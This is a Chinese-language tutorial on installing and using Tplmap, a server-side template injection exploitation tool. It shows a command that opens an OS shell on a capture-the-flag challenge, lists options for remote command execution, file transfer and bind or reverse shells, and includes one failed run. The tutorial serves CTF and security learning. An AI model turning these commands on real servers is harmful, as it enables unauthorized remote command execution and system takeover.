10.Tplmap使用
工具简介
Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。
工具环境
Windows
Linux
Linux下安装
在kali终端输入
git clone https://github.com/epinna/tplmap
如果没有git命令,则需要安装:
sudo apt-get install git
等待安装好后即可使用git了
Windows下安装
可以直接打开GitHub地址来下载
https://github.com/epinna/tplmap
同样也可以使用git命令
git clone https://github.com/epinna/tplmap
使用说明
需要在python3的环境下使用
在tplmap目录下有一个名为requirements.txt
的文件,内容如下
PyYAML==5.1.2
certifi==2018.10.15
chardet==3.0.4
idna==2.8
requests==2.22.0
urllib3==1.24.1
wsgiref==0.1.2
以上就是tplmap所需要的库,该文本中标出了库名和版本号,我们可以使用pip命令来进行安装
进入tplmap的目录,用如下指令安装
pip install -r requirements.txt
典型用法
例
qsnctf的一道web题目
https://www.qsnctf.com/challenges#Flask1-151
使用以下命令可以拿到shell
python3 tplmap.py -u http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/? name=1 --os-shell
各个参数的意思
Usage: python tplmap.py [options]
选项:
-h, --help 显示帮助并退出
目标:
-u URL, --url=URL 目标 URL
-X REQUEST, --re.. 强制使用给定的HTTP方法 (e.g. PUT)
请求:
-d DATA, --data=.. 通过POST发送的数据字符串 它必须作为查询字符串: param1=value1¶m2=value2
-H HEADERS, --he.. 附加标头 (e.g. 'Header1: Value1') 多次使用以添加新的标头
-c COOKIES, --co.. Cookies (e.g. 'Field1=Value1') 多次使用以添加新的Cookie
-A USER_AGENT, -.. HTTP User-Agent 标头的值
--proxy=PROXY 使用代理连接到目标URL
检测:
--level=LEVEL 要执行的代码上下文转义级别 (1-5, Default: 1)
-e ENGINE, --eng.. 强制将后端模板引擎设置为此值
-t TECHNIQUE, --.. 技术 R:渲染 T:基于时间的盲注 Default: RT
操作系统访问:
--os-cmd=OS_CMD 执行操作系统命令
--os-shell 提示交互式操作系统Shell
--upload=UPLOAD 上传本地文件到远程主机
--force-overwrite 上传时强制覆盖文件
--download=DOWNL.. 下载远程文件到本地主机
--bind-shell=BIN.. 在目标的TCP端口上生成系统Shell并连接到它
--reverse-shell=.. 运行系统Shell并反向连接到本地主机端口
模板检查:
--tpl-shell 在模板引擎上提示交互式Shell
--tpl-code=TPL_C.. 在模板引擎中注入代码
常规:
--force-level=FO.. 强制将测试级别设置为此值
--injection-tag=.. 使用字符串作为注入标签 (default '*')
遇到的问题
C:\Users\xiniyi\Desktop\tplmap-master\tplmap-master
λ python3 tplmap.py -u 'http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/ ?name=11 *'--os-shell
Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
Testing if GET parameter 'name' is injectable
Smarty plugin is testing rendering with tag '*'
Exiting: No connection adapters were found for "'http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/"
工具归属
项目地址:https://github.com/epinna/tplmap
评论已关闭